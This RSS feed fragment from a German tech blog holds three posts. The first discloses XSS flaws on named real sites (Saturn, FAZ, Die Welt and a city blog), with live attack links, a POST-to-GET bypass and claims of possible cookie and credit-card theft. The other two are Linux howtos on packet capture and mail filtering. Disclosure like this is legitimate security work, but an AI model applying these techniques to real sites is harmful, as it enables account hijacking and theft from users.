		<comments>http://www.bjou.de/blog/2007/02/cross-site-scripting-xss/#comments</comments>
		<pubDate>Wed, 28 Feb 2007 11:34:04 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/2007/02/cross-site-scripting-xss/</guid>
		<description><![CDATA[Wer sucht, der findet. Es ist unglaublich, wieviele große Websites mit einem anerkannten Unternehmen dahinter heute noch für XSS (Was ist XSS? Man konsultiere Wiki oder Heise) anfällig sind. Dabei kann es echt gefährlich werden obwohl es so leicht zu umgehen ist.
Angefangen hat alles damit, dass der Karlsruher Stadtblog meinen BjOG verlinkt hat. Allerdings nicht [...]]]></description>
			<content:encoded><![CDATA[<p>Wer sucht, der findet. Es ist unglaublich, wieviele <strong>große</strong> Websites mit einem anerkannten Unternehmen dahinter heute noch für XSS (Was ist XSS? Man konsultiere <a href="http://de.wikipedia.org/wiki/Cross-Site_Scripting">Wiki</a> oder <a href="http://www.heise.de/ix/artikel/2004/08/048/">Heise</a>) anfällig sind. Dabei kann es echt gefährlich werden obwohl es so leicht zu umgehen ist.</p>
<p>Angefangen hat alles damit, dass der <a href="http://tinyurl.com/2whbdt">Karlsruher Stadtblog meinen BjOG verlinkt hat</a>. Allerdings nicht freiwillig. Was man hier sieht ist eine einfache XSS-Attacke gegen die Website des Stadtblogs, die dann (across-sites) meinen Blog in einem iframe lädt. Das kann böse ausgenutzt werden, wie das Beispiel von <a href="http://tinyurl.com/3y2sgm">Saturn</a> zeigt (Notiz: Hier muss man zunächst auf Saturn.de gehen um sich ein Cookie abzuholen (wenn man noch keines hat), indem man eine Filiale auswählt.) Der Elektronikkette habe ich auch eine bösartige Seite untergejubelt, mehr schlecht als recht an deren Design angepasst und könnte somit z.B. leicht Kreditkarteninformationen von Usern ergattern oder Cookies und damit Usersessions hijacken.<br />
Auch die <a href="http://tinyurl.com/355qr6">Frankfurter Allgemeine Zeitung (FAZ)</a> ist vor XSS-Attacken nicht gefeit. Das Unterjubeln gefälschter Seiten oder der Diebstahl von Cookies und das damit verbundene Account Hijacking durch komplettes Umgehen des Authentication Prozesses sind so kein Problem mehr, wie man auch bei <a href="http://tinyurl.com/2tlw3h">Die Welt</a> sehen kann. Die dort gezeigten Cookie Credentials hätte ich ohne Probleme an mich senden lassen können. Hier war der Aufwand jedoch etwas größer, da die Welt den User-Suchstring augenscheinlich nur per POST übermittelt, was auch gut so ist, denn das verhindert zumindest URL-basierte XSS-Attacken. Leider kann man das bei der Welt jedoch auch umgehen, indem man aus dem Code die nötigen POST Variablen extrahiert und über die URL als GET interpretieren lässt. Bugfix: Clientinformationen nur als HTTP POST annehmen&#8230;</p>
<p>Wie man sieht ist XSS ein seriöses Problem, dem leider nicht so viel Aufmerksamkeit zukommt wie es sollte. Dabei reicht es doch schon, die Inputdaten von Usern entsprechend zu filtern. Die oben genannten Beispiele sind bei weitem nicht die einzigen, viele weitere große Betreiber, die ich hier jedoch nicht liste, sind davon betroffen. Dies soll nur ein kleiner Warnschuss sein. Nach der Veröffentlichung dieses Beitrages habe ich umgehen die Websitebetreiber informiert. Ich bin mal gespannt, wielange es braucht, bis die ersten reagieren.</p>
<p><em>edit</em>: Falls die Lücken geschlossen werden sollten, hier die Beweis Screenshots:</p>
<div align="center">
<a rel="lightbox[xss]" href='http://www.bjou.de/blog/wp-content/uploads/xss_stadtblog.jpg' title='xss_stadtblog.jpg'><img hspace="5" src='http://www.bjou.de/blog/wp-content/uploads/xss_stadtblog.thumbnail.jpg' alt='xss_stadtblog.jpg' /></a><a rel="lightbox[xss]" href='http://www.bjou.de/blog/wp-content/uploads/xss_saturn.jpg' title='xss_saturn.jpg'><img hspace="5" src='http://www.bjou.de/blog/wp-content/uploads/xss_saturn.thumbnail.jpg' alt='xss_saturn.jpg' /></a><a rel="lightbox[xss]" href='http://www.bjou.de/blog/wp-content/uploads/xss_faz.jpg' title='xss_faz.jpg'><img hspace="5" src='http://www.bjou.de/blog/wp-content/uploads/xss_faz.thumbnail.jpg' alt='xss_faz.jpg' /></a><a rel="lightbox[xss]" href='http://www.bjou.de/blog/wp-content/uploads/xss_welt.jpg' title='xss_welt.jpg'><img hspace="5" src='http://www.bjou.de/blog/wp-content/uploads/xss_welt.thumbnail.jpg' alt='xss_welt.jpg' /></a>
</div>
<p><em>edit</em>: Wow, das ging schnell, der stadtblog is schon gefixt!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2007/02/cross-site-scripting-xss/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Advanced Packet Capturing Howto: PF_RING, NAPI and extended libpcap on Debian Sarge</title>
		<link>http://www.bjou.de/blog/2006/12/advanced-packet-capturing-howto-pf_ring-napi-and-extended-libpcap-on-debian-sarge/</link>
		<comments>http://www.bjou.de/blog/2006/12/advanced-packet-capturing-howto-pf_ring-napi-and-extended-libpcap-on-debian-sarge/#comments</comments>
		<pubDate>Wed, 20 Dec 2006 15:51:12 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/2006/12/advanced-packet-capturing-howto-pf_ring-napi-and-extended-libpcap-on-debian-sarge/</guid>
		<description><![CDATA[Working on my student research project, I have to monitor a quite large network. Therefore, I have configured one of the main switches to mirror the traffic to my hi-end sniffing machine. Trying to capture the traffic with software depending on libpcap, I encountered massive packet loss almost immediately using libpcap-0.8 on Debian (which is [...]]]></description>
			<content:encoded><![CDATA[<p>Working on my student research project, I have to monitor a quite large network. Therefore, I have configured one of the main switches to mirror the traffic to my hi-end sniffing machine. Trying to capture the traffic with software depending on libpcap, I encountered massive packet loss almost immediately using libpcap-0.8 on Debian (which is version 0.9.5-1). Now I have commited a whole day in trying to decrease the amount of dropped packets. There are some promising solutions, namely <a href="http://public.lanl.gov/cpw/">mmap&#8217;ed libpcap</a>, NAPI (polling-enabled Network Driver) and <a href="http://www.ntop.org/PF_RING.html">PF_RING</a>, the latter being the most promising, after having read &#8220;<a href="http://luca.ntop.org/Ring.pdf">Improving Passive Packet Capture: Beyond Device Polling</a>&#8220;.  Now theory sounds great and is one thing, but getting it to run without any useful documentation almost killed me. Now here is how I finally did it&#8230;<br />
<span id="more-144"></span></p>
<p><!--adsense#linkblockbreit--><br />
First of all, I wanna thank <a href="http://synfulpacket.blogspot.com/2006/11/pfring-and-snort.html">Richard</a> for his in-depth tutorial, which I unfortunately found in a quite late state of my efforts. Anyhow, his tutorial is based on a RedHat Enterprise 4 System, but most of it is usable on other systems, too. It did not fit completely on Debian, though. I copied part of his text for simplicity. So let&#8217;s get it on:</p>
<ul>
<li>Remove libpcap* via apt-get or aptitude and all other software that depends on it (you gotta rebuild it later with the new pfring-enabled libpcap)</li>
<li>Rebuild your kernel:<br />
<code>cd /usr/src<br />
export CVSROOT=:pserver:anonymous@cvs.ntop.org:/export/home/ntop<br />
mkdir pf_ring &amp;&amp; cd pf_ring<br />
cvs login</code><br />
which should produce the following output:</p>
<p><code>Logging in to :pserver:anonymous@cvs.ntop.org:2401/export/home/ntop<br />
CVS password:</code></p>
<p>At the prompt, type &#8220;ntop&#8221; (no quotes), and hit Enter. (Note: ntop will not appear on the screen.) Next type the following:</p>
<p><code>cvs checkout PF_RING</code> which will download the needed source.</li>
<li>Now etner the directory and edit the file mkpatch.sh. Therefore, check which kernel you currently have installed or which kernel you want to have after the update. Check by <code>uname -a</code> which should give you something like <em>Linux rz-sniff 2.6.17.11 #1 SMP Wed Dec 20 13:06:04 CET 2006 i686 GNU/Linux</em>. Open mkpatch.sh, scroll to the first variable declarations and change into your wishes:<br />
<code>VERSION=${VERSION:-2}<br />
PATCHLEVEL=${PATCHLEVEL:-6}<br />
SUBLEVEL=${SUBLEVEL:-17.11}<br />
</code>and run the script via <em>sh ./mkpatch.sh</em>, which should give you some output and stop with the location of your patchfile.</li>
<li>Apply the patchfile:<br />
<code>cd /usr/src<br />
zcat /usr/src/pf_ring/PF_RING/workspace/linux-2.6.*patch.gz | patch --dry-run -p0</code> If it runs without any error, run again without the <em>&#8211;dry-run</em> option</li>
<li>Now you gotta build your custom kernel. This may vary on different systems, a 2.6 kernel under Debain Sarge can be build as followed:<br />
<code>cd /usr/src/linux<br />
apt-get install kernel-package libncurses5-dev fakeroot wget bzip2 build-essential<br />
make menuconfig</code><br />
It is normally a good idea to take the configuration of your existing (working!) kernel 2.6 as a starting point for the configuration of your new kernel. Usually the current kernel configuration is saved in a file under /boot, e.g. /boot/config-2.6.17.11. Load it using the arrow keys and selection the option at the bottom.<br />
Now for Intel Network Cards, select <em>Device Driver &#8211; Network Service Support &#8211; Ethernet (1000Mbit)</em> and enable <strong>NAPI-Support</strong> by selecting &#8216;y&#8217; on <em>Use Rx Polling</em>. Go back (3x ESC) and select <em>Networking </em>and <em>Networking Options</em>. Make sure that <em><strong>PF_RING sockets</strong></em> are enabled. Leave and save the settings. Now build the kernel and install it:<br />
<code>make-kpkg clean<br />
fakeroot make-kpkg --initrd --revision=pfring.1.0 kernel_image<br />
cd ../<br />
dpkg -i linux-image-2.6.17.11_pfring.1.0_i386.deb<br />
</code><br />
This will install your new kernel (including a ramdisk) and also update grub. You can now reboot your system, and you should then have a new kernel. You can check that by running <em>uname -r</em>.</li>
<li>Compile libpfring, and test that it works.<br />
First off, start with doing the following:</p>
<p><code>cp /usr/src/linux/include/linux/ring.h /usr/include/linux</code></p>
<p>which will add the neccessary header file, ring.h, to the standard include directory.</p>
<p>Next, run the following:</p>
<p><code>cd /usr/src/pf_ring/PF_RING/userland/libpfring<br />
make</code></p>
<p>which should give you a short output.<br />
Now, we are going to generate a .so from these files, by running the following:</p>
<p><code>gcc -shared -Wl,-soname -Wl,libpfring.so.0.9.4 -o libpfring.so.0.9.4 *.o -lc</code></p>
<p>We copy the files we just created to a common system directory:</p>
<p><code>cp libpfring.a libpfring.so.0.9.4 /usr/local/lib<br />
cp pfring.h /usr/local/include<br />
ln -s /usr/local/lib/libpfring.so.0.9.4 /usr/local/lib/libpfring.so<br />
</code></p>
<p>Next, we need to add /usr/local/lib to the list of directories the dynamic loader will search:<br />
<code><br />
echo "/usr/local/lib" &gt;&gt; /etc/ld.so.conf<br />
ldconfig</code></p>
<p>To check that the dynamic loader sees the libraries, run the following:</p>
<p><code>ldconfig -v |grep pfring</code></p>
<p>which should produce the following output:</p>
<p><em>libpfring.so.0.9.4 -&gt; libpfring.so.0.9.4</em></p>
<p>You can test the installation with</p>
<p><code>./pfcount -v -i eth<em>x</em></code> with x being your interface number. Be carefull, the thing can hang on a very busy interface (e.g. &gt; 100Mbit)</p>
<p>Now, run the following:</p>
<p><code>dmesg</code></p>
<p>and the last few lines of output should look similar to the following:</p>
<p><code>RING: succesfully allocated 128 KB [tot_mem=26509372][order=5]<br />
RING: allocated 80 slots [slot_len=1618][tot_mem=131072]<br />
device eth1 entered promiscuous mode</code></li>
<li>Next step is to build libpcap to use the PF_RING interface to the kernel.<br />
First, run the following:</p>
<p><code>cd /usr/src/pf_ring/PF_RING/userland/<br />
ls |grep pcap</code></p>
<p>The output should be something similar to:</p>
<p><em>libpcap-0.9.4-ring</em></p>
<p>which indicates that this version of PF_RING was built to work with a patched version of libpcap-0.9.4, so we need to download that version.</p>
<p>The simplest way to download that version is to run the following:<br />
<code><br />
wget http://www.tcpdump.org/release/libpcap-0.9.4.tar.gz</code> Now do:</p>
<p><code>tar -zxvf libpcap-0.9.4.tar.gz<br />
cd libpcap-0.9.4<br />
mv pcap-int.h pcap-int.h.orig<br />
mv pcap-linux.c pcap-linux.c.orig<br />
cp ../libpcap-0.9.4-ring/pcap* .<br />
./configure CPPFLAGS="-I/usr/local/include" LDFLAGS="-L/usr/local/lib" CFLAGS="-D_LARGEFILE_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"<br />
</code></p>
<p>If the ./configure command completes without any errors, run the following:</p>
<p><code>make &amp;&amp; gcc -shared -Wl,-soname -Wl,libpcap.so.`cat VERSION` -o libpcap.so.`cat VERSION` *.o -lc</code></p>
<p>Now, run the following:</p>
<p><code>make install &amp;&amp; cp libpcap.so.0.9.4 /usr/local/lib</code></p>
<p>Next, make sure the dynamic loader sees this new library:</p>
<p><code>ldconfig -v |grep pcap</code></p>
<p>the output should look similar to:</p>
<p><em>libpcap.so.0.9.4 -&gt; libpcap.so.0.9.4</em></li>
<li>Compile your software using the new libpcap and pfring, e.g. ntop. If you are getting ntop from CVS also (like PF_RING), change into the ntop directory and compile it, using the following commands. These can be used with other software, too (i.e. the compile options)<code>./autogen.sh --noconfig<br />
./configure CPPFLAGS="-I/usr/local/include" LDFLAGS="-L/usr/local/lib -lpfring -lpcap"<br />
make &amp;&amp; make install</code></p>
<p>Now check if your setup was successful:</p>
<p><code>ldd /usr/local/bin/ntop</code></p>
<p>should produce output similar to:</p>
<p><code> linux-gate.so.1 =&gt;  (0xffffe000)<br />
libpfring.so.0.9.4 =&gt; /usr/local/lib/libpfring.so.0.9.4 (0xb7f8c000)<br />
libntopreport-3.2.4.so =&gt; /usr/local/lib/libntopreport-3.2.4.so (0xb7ee6000)<br />
libntop-3.2.4.so =&gt; /usr/local/lib/libntop-3.2.4.so (0xb78f9000)<br />
libpthread.so.0 =&gt; /lib/tls/i686/cmov/libpthread.so.0 (0xb78e7000)<br />
libdl.so.2 =&gt; /lib/tls/i686/cmov/libdl.so.2 (0xb78e3000)<br />
libcrypt.so.1 =&gt; /lib/tls/i686/cmov/libcrypt.so.1 (0xb78b5000)<br />
libc.so.6 =&gt; /lib/tls/i686/cmov/libc.so.6 (0xb7784000)<br />
libresolv.so.2 =&gt; /lib/tls/i686/cmov/libresolv.so.2 (0xb7771000)<br />
libnsl.so.1 =&gt; /lib/tls/i686/cmov/libnsl.so.1 (0xb775a000)<br />
libpcap.so.0.9.4 =&gt; /usr/local/lib/libpcap.so.0.9.4 (0xb772f000)<br />
libgdbm.so.3 =&gt; /usr/lib/libgdbm.so.3 (0xb7729000)<br />
libgd.so.1 =&gt; /usr/lib/libgd.so.1 (0xb76f7000)<br />
libpng12.so.0 =&gt; /usr/lib/libpng12.so.0 (0xb76d4000)<br />
libz.so.1 =&gt; /usr/lib/libz.so.1 (0xb76c0000)<br />
librrd_th.so.2 =&gt; /usr/lib/librrd_th.so.2 (0xb7679000)<br />
/lib/ld-linux.so.2 (0xb7f99000)<br />
libm.so.6 =&gt; /lib/tls/i686/cmov/libm.so.6 (0xb7654000)<br />
libjpeg.so.62 =&gt; /usr/lib/libjpeg.so.62 (0xb7634000)<br />
libfreetype.so.6 =&gt; /usr/lib/libfreetype.so.6 (0xb75ca000)<br />
libart_lgpl_2.so.2 =&gt; /usr/lib/libart_lgpl_2.so.2 (0xb75b4000)</code></p>
<p>where the line containing libpfring and libpcap are of particular importance.</p>
<p>At this point, you have a version of ntop that will use the PF_RING ring module in the kernel. Congrats.</p>
<p><!--adsense#anzeigenblocknurtext--></li>
<li>Some Statistics:<code>cat /proc/net/pf_ring/info</code><br />
will give you some output like this:</p>
<p><code>Version       : 3.2.1<br />
Bucket length : 128 bytes<br />
Ring slots    : 4096<br />
Sample rate   : 1 [1=no sampling]<br />
Capture TX    : No [RX only]<br />
Total rings   : 0<br />
</code></p>
<p>Now there is one drawback: libpcap will not report accurate drop statistics when linked with pfring, so the 0 dropped packets, that ntop reports, are definately wrong.</p>
<p><code>cat /proc/net/pf_ring/20</code> (where 20 is some random number) shows the actual stats:</p>
<p><code>Bound Device  : eth0<br />
Version       : 6<br />
Sampling Rate : 0<br />
Cluster Id    : 0<br />
Tot Slots     : 7181<br />
Slot Len      : 146<br />
Data Len      : 128<br />
Tot Memory    : 1048576<br />
Tot Packets   : 62206634<br />
Tot Pkt Lost  : 14292126<br />
Tot Insert    : 47914508<br />
Tot Read      : 47914434<br />
</code></p>
<p>Do the math (and wisely distinguish between capture- and drop-rate): 14292126 out of 62206634 is a <em>drop</em>-rate of about 23%. Sounds high? Well, it isn&#8217;t, regarding the fact, that my network has peaks up to and over 600Mbps and a current average of about 150Mbps after a 30min runtime. Viewing table 3 in the PDF mentioned in the introduction, you can see, that the performance highly depends on the packet size.<br />
Now 55% of my traffic has sizes between 60 and 256 bytes (i.e. small packets), for which the table promises a <em>capture</em>-rate of 75%. Another 35% of my traffic is above 1025 bytes, where a Linux 2.6 with NAPI + PF_RING and extended libpcap performs best (93% <em>capture</em>-rate). It is quite poor in between (47% <em>capture</em>-rate), but still the best of its competitors. Anyhow, regarding the fact, that most of my packets are big or small, it was a wise choice to use this specific polling strategy, and a 23% <em>drop</em>-rate is about the result I have expected. Tests with standard kernel and libpcap had <em>drop</em>-rates of up to 40%.<br />
In my study thesis &#8220;<a href="http://www.bjou.de/blog/wp-content/uploads/intrusion_detection_with_heterogenous_sensors.pdf">Intrusion Detection with heterogenous Sensors</a>&#8221; you can find detailed long-term statistics in the Evaluation Chapter (Chapter 5), &#8220;<em>Sniffing Performance</em>&#8221; featuring nice graphs that illustrate the work of the ringbuffer.</p>
<p>/var/log/messages should have some stats, too, upon every application using pf_ring<br />
<code><br />
Welcome to PF_RING 3.2.1<br />
(C) 2004-06 L.Deri<br />
NET: Registered protocol family 27<br />
PF_RING: bucket length    128 bytes<br />
PF_RING: ring slots       4096<br />
PF_RING: sample rate      1 [1=no sampling]<br />
PF_RING: capture TX       No [RX only]<br />
PF_RING: transparent mode Yes<br />
PF_RING initialized correctly.<br />
PF_RING: registered /proc/net/pf_ring/<br />
RING: succesfully allocated 1024 KB [tot_mem=598076][order=8]<br />
RING: allocated 7181 slots [slot_len=146][tot_mem=1048576]<br />
</code></p>
<p>Now it is possible to manually remove and insert the kernelmodule into the kernel.<br />
<em>lsmod</em> shows if ring.ko is loaded and used, <em>rmmod</em> removes it and it can be loaded with configurable parameters via</p>
<p><code><br />
insmod /lib/modules/2.6.17.11/kernel/net/ring/ring.ko bucket_len=64 num_slots=4096 sample_rate=1 transparent_mode=0</code></p>
<p><strong>bucket_len</strong>: Specifies the maximum packet length captured by PF_RING. This is equivalent to snaplen of libpcap. If you are doing something like ntop where you only want to look at the packet headers, then a bucket_len of 64 works.  But if you want to inspect the entire packet, then you will have to make sure that the bucket_len is at least as big as the MTU<br />
of the network.<br />
<strong>num_slots</strong>: Number of slots in the ring. The bigger the better is the performance the more memory you use. 4096 should be fine, you can tweak it though.<br />
<strong>sample_rate</strong>: 1 means regard every packet (no sampling), 2 means every second and so on&#8230;<br />
<strong>transparent_mode</strong>:  By default a packet that is handled by at least a ring is not forwarded to the upper Linux layers. This will result in faster capture speeds but will prevent legacy applications (not recompiled with the new libpcap-ring) from operating. If you set it to 1 it reverts the ring to the old behaviour (i.e. packets are forwarded to upper layers) but this will decrease the benefits of the ring as it will result in worse results.</p>
<p>Tweak it according to your purpsose.</p>
<p>To conclude: I don&#8217;t know if it makes any difference, but by checking your NIC via</p>
<p><code>ethtool -g eth0</code> you can see the internal ringbuffer settings. You can change it to a greater value using<br />
<code><br />
ethtool -G eth0 rx 4096</code></li>
</ul>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p style="text-align: center;"><a href="http://www.dealdoktor.de"><strong>Top-Schnäppchen &amp; Gutscheine: DealDoktor</strong></a> &#8211; Der einzige <strong>Schnäppchen-Blog mit Doktortitel</strong></p>
<p style="text-align: center;">Hier gibt es viele <strong>Gutscheine</strong>, <strong>Gratis-Artikel</strong> und täglich die besten <strong>Spar-Angebote</strong> aus dem Internet, z.B. Möglichkeiten, kostenlos ins Kino zu kommen und mehr&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2006/12/advanced-packet-capturing-howto-pf_ring-napi-and-extended-libpcap-on-debian-sarge/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Howto: getmail, dovecot, postfix, spamassassin und procmail</title>
		<link>http://www.bjou.de/blog/2006/06/getmail-dovecot-postfix-spamassassin-und-procmail/</link>
		<comments>http://www.bjou.de/blog/2006/06/getmail-dovecot-postfix-spamassassin-und-procmail/#comments</comments>
		<pubDate>Thu, 22 Jun 2006 16:20:48 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[Mein Tach]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/?p=96</guid>
		<description><![CDATA[Dieses kleine Howto soll kurz erklären, wie die genannten Programme reibungslos Hand in Hand arbeiten und so einen IMAP-Dienst mit Spamfilterung und Mailverteilung realisieren können. Das Tutorial basiert auf dem Artikel &#8220;Mailhamster mit FreeBSD&#8221; und erweitert ihn um die Konfiguration von Spamassassin und Procmail. User, die noch mit sendmail arbeiten, sollten auf postfix umstellen. Ein [...]]]></description>
			<content:encoded><![CDATA[<p>Dieses kleine Howto soll kurz erklären, wie die genannten Programme reibungslos Hand in Hand arbeiten und so einen IMAP-Dienst mit Spamfilterung und Mailverteilung realisieren können. Das Tutorial basiert auf dem Artikel &#8220;<a href="http://wiki.bsdforen.de/index.php/Mailhamster_mit_FreeBSD">Mailhamster mit FreeBSD</a>&#8221; und erweitert ihn um die Konfiguration von Spamassassin und Procmail. User, die noch mit sendmail arbeiten, sollten auf postfix umstellen. Ein simples Howto dazu gibt es <a href="http://www.csua.berkeley.edu/~ranga/notes/freebsd_postfix.html">hier</a>.<br />
<span id="more-96"></span><br />
Das Mailhamster Tutorial sollte zunächst wie beschrieben nachvollzogen werden, lediglich mit der Konfiguration von procmail kann gewartet werden, da wir procmail an spamassassin anpassen müssen.</p>
<p>Nachdem also getmail und dovecot (wie im Tutorial beschrieben) zusammenarbeiten, machen wir uns an die Installation von Spamassassin:</p>
<p><code>cd /usr/ports/mail/p5-Mail-SpamAssassin &#038;&#038; make install clean</code></p>
<p>Unter <em>/usr/local/etc/mail/spamassassin</em> gibt es nun eine local.cf.sample, die man in local.cf umbenennt. Diese Datei steuert das Verhalten von spamassassin. Sie kann nun angepasst werden (wenn man weiß, was man tut) oder mit Hilfe eines selbsterklärenden Webinterfaces erstellt werden: <a href="http://www.yrex.com/spam/spamconfig.php">http://www.yrex.com/spam/spamconfig.php</a>. Es ist noch anzumerken, dass in dem genannten Verzeichnis die globale Config-File von Spamassassin liegt. Wird spamassassin mit Hilfe des -u Flags im Kontext eines bestimmten Users ausgeführt, so ist die Konfigurationsdatei für diesen User so anzulegen: ~/.spamassassin/user_prefs (mit gleichem Inhalt).</p>
<div align="center"<br />
<!--adsense-->
</div>
<p>Der Inhalt meiner Datei sieht so aus:<br />
<code># SpamAssassin config file for version 3.x<br />
# NOTE: NOT COMPATIBLE WITH VERSIONS 2.5 or 2.6<br />
# See http://www.yrex.com/spam/spamconfig25.php for earlier versions<br />
# Generated by http://www.yrex.com/spam/spamconfig.php (version 1.50)</p>
<p># How many hits before a message is considered spam.<br />
required_score           10.0</p>
<p># Change the subject of suspected spam<br />
rewrite_header subject         *****SPAM*****</p>
<p># Encapsulate spam in an attachment (0=no, 1=yes, 2=safe)<br />
report_safe             2</p>
<p># Enable the Bayes system<br />
use_bayes               1</p>
<p># Enable Bayes auto-learning<br />
bayes_auto_learn        1<br />
bayes_file_mode         777</p>
<p># Enable or disable network checks<br />
skip_rbl_checks         0<br />
use_razor2              1<br />
use_dcc                 1<br />
use_pyzor               1</p>
<p># Mail using languages used in these country codes will not be marked<br />
# as being possibly spam in a foreign language.<br />
# - dutch english french german spanish<br />
ok_languages            nl en fr de es</p>
<p># Mail using locales used in these country codes will not be marked<br />
# as being possibly spam in a foreign language.<br />
ok_locales              en<br />
</code></p>
<p>Der Score Treshold kann beliebig gewählt werden, ich habe ihn zunächst hoch gesetzt, um das System zu testen und werde ihn nach weiteren Analysen der eingehenden eMails noch weiter anpassen. Mittlerweile arbeite ich sehr gut mit einem Score von 8.6. Diesen Wert habe ich gewählt, da ich einen Newsletter beziehe, der leider mit 8.5 Spam-Punkten bewertet wird.</p>
<p>Jetzt machen wir uns an die Bearbeitung einer geeigneten .procmailrc Datei, die procmail steuert und so die Mails je nach Spameinstufung in Mailverzeichnisse sortieren kann. Dazu erstellen wir im HOME-Verzeichnis des Users, unter dem getmail läuft (hier: bjoumail), eine Datei namens .procmailrc mit folgendem Inhalt:<br />
<code># SpamAssassin sample procmailrc<br />
# ==============================</p>
<p># The following line is only used if you use a system-wide /etc/procmailrc.<br />
# See procmailrc(5) for infos on what it exactly does, the short version:<br />
#  * It ensures that the correct user is passed to spamd if spamc is used<br />
#  * The folders the mail is filed to later on is owned by the user, not<br />
#    root.<br />
DROPPRIVS=yes</p>
<p># Your procmail logfile will grow rapidly so remember to comment out<br />
# the first line "LOGFILE=$HOME/.procmailrc.log" once you've verified<br />
# that procmail is performing as expected</p>
<p>LOGFILE=$HOME/.procmailrc.log<br />
VERBOSE=yes<br />
COMSAT=no<br />
MAILDIR=/home/bjoumail/mail<br />
DEFAULT=$MAILDIR<br />
PATH=/usr/local/bin:/usr/bin</p>
<p># Pipe the mail through spamassassin (replace 'spamassassin' with 'spamc'<br />
# if you use the spamc/spamd combination)<br />
#<br />
# The condition line ensures that only messages smaller than 250 kB<br />
# (250 * 1024 = 256000 bytes) are processed by SpamAssassin. Most spam<br />
# isn't bigger than a few k and working with big messages can bring<br />
# SpamAssassin to its knees.<br />
#<br />
# The lock file ensures that only 1 spamassassin invocation happens<br />
# at 1 time, to keep the load down.<br />
#<br />
:0fw: spamassassin.lock<br />
* < 256000<br />
| /usr/local/bin/spamc -s 256000 -u bjoumail</p>
<p># All mail tagged as spam (eg. with a score higher than the set threshold)<br />
# is moved to a Spam Folder<br />
:0:<br />
* ^X-Spam-Status: Yes<br />
/home/bjoumail/mail/.Spam/</p>
<p># Work around procmail bug: any output on stderr will cause the "F" in<br />
"From"<br />
# to be dropped.  This will re-add it.<br />
# NOTE: This is probably NOT needed in recent versions of procmail<br />
:0<br />
* ^^rom[ ]<br />
{<br />
  LOG="*** Dropped F off From_ header! Fixing up. "</p>
<p>  :0 fhw<br />
  | sed -e '1s/^/F/'<br />
}</p>
<p>#---------------------------------------------------------------------#<br />
# (part 2)<br />
# Add your own filtering commands here, if you want.</p>
<p>#---------------------------------------------------------------------#<br />
# (part 3) How to set up vacation message<br />
#   1. No need to set up .forward file if you use this method.<br />
#   2. Prepare .vacation.msg in your home directory.<br />
#   3. Run "vacation -I" command.<br />
#   4. Uncomment the 2 lines below (Did you replace your_loginname with yours?)<br />
#   5. Remember to comment out the 2 lines when you come back from vacation.</p>
<p>#:0 c<br />
#| /usr/bin/vacation your_loginname<br />
</code></p>
<p><strong>Anmerkungen</strong>: Den Workaround habe ich nicht getestet, sondern einfach so aus einer Vorlage übernommen. Den Folder "Spam" müssen wir in unserem eMailprogramm, welches auf den dovecot IMAP-Server zugreift, natürlich noch erstellen. Da dovecot nicht mit mboxes, sondern mit Maildirs arbeitet, ist der trailing slash bei <strong>/home/bjoumail/mail/.Spam/</strong> besonders wichtig.</p>
<p>Nun muss noch die <em>/usr/local/etc/postfix/master.cf</em> angepasst werden. Dazu ändert mann die Zeile</p>
<p><code>smtp      inet  n       -       n       -       -       smtpd</code></p>
<p>in</p>
<p><code>smtp      inet  n       -       n       -       -       smtpd -o content_filter=spamassassin</code></p>
<p>Man fügt also einen content_filter hinzu. Am Ende der Datei muss man postfix nun mittweilen, was dieser Filter tun soll:</p>
<p><code>spamassassin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;          unix  -       n       n       -       -       pipe<br />
&nbsp;&nbsp;&nbsp;&nbsp;   user=nobody argv=/usr/local/bin/spamc -e /usr/local/sbin/postfix -oi -f ${sender} ${recipient}</code></p>
<p>Dabei ist sichrzustellen, dass die drei obigen zeilen entweder in einer Zeile in der Datei stehen, oder die zwei unteren Zeilen mit Leerzeichen eingeleitet werden. Der Uer 'nobody' ist ggf. anzupassen.<br />
Jetzt kann man das System testen. Eingehende Mails sollten im Header nun stehen haben, dass sie erfolgreich durch spamassassin gepiped und analysiert wurden und je nachdem als Spam oder Ham eingestuft wurden:</p>
<p>Ham:<br />
<code>X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on<br />
	my-server.domain<br />
X-Spam-Level:<br />
X-Spam-Status: No, score=-2.6 required=10.0 tests=BAYES_00 autolearn=ham<br />
	version=3.1.1</code></p>
<p>Spam:<br />
<code><br />
X-Spam-Flag: YES<br />
X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on<br />
	my-server.domain<br />
X-Spam-Level: ********************************<br />
X-Spam-Status: Yes, score=32.9 required=10.0 tests=BAYES_99,<br />
	DATE_IN_FUTURE_03_06,FROM_ENDS_IN_NUMS,FUZZY_PHARMACY,<br />
	HTML_IMAGE_ONLY_24,HTML_MESSAGE,INFO_TLD,RCVD_NUMERIC_HELO,<br />
	UPPERCASE_25_50,URIBL_AB_SURBL,URIBL_JP_SURBL,URIBL_OB_SURBL,<br />
	URIBL_SBL,URIBL_SC_SURBL autolearn=spam version=3.1.1<br />
</code></p>
<p>Hat man noch einen Ordner voll mit Spam, so kann (und sollte) man Spamassassin trainieren, um Mails besser klassifizieren zu können. Das geht mit sa-learn, bspw<br />
<code>sa-learn &#45;&#45;progress &#45;&#45;spam /home/bjoumail/mail/.Spam/cur/</code><br />
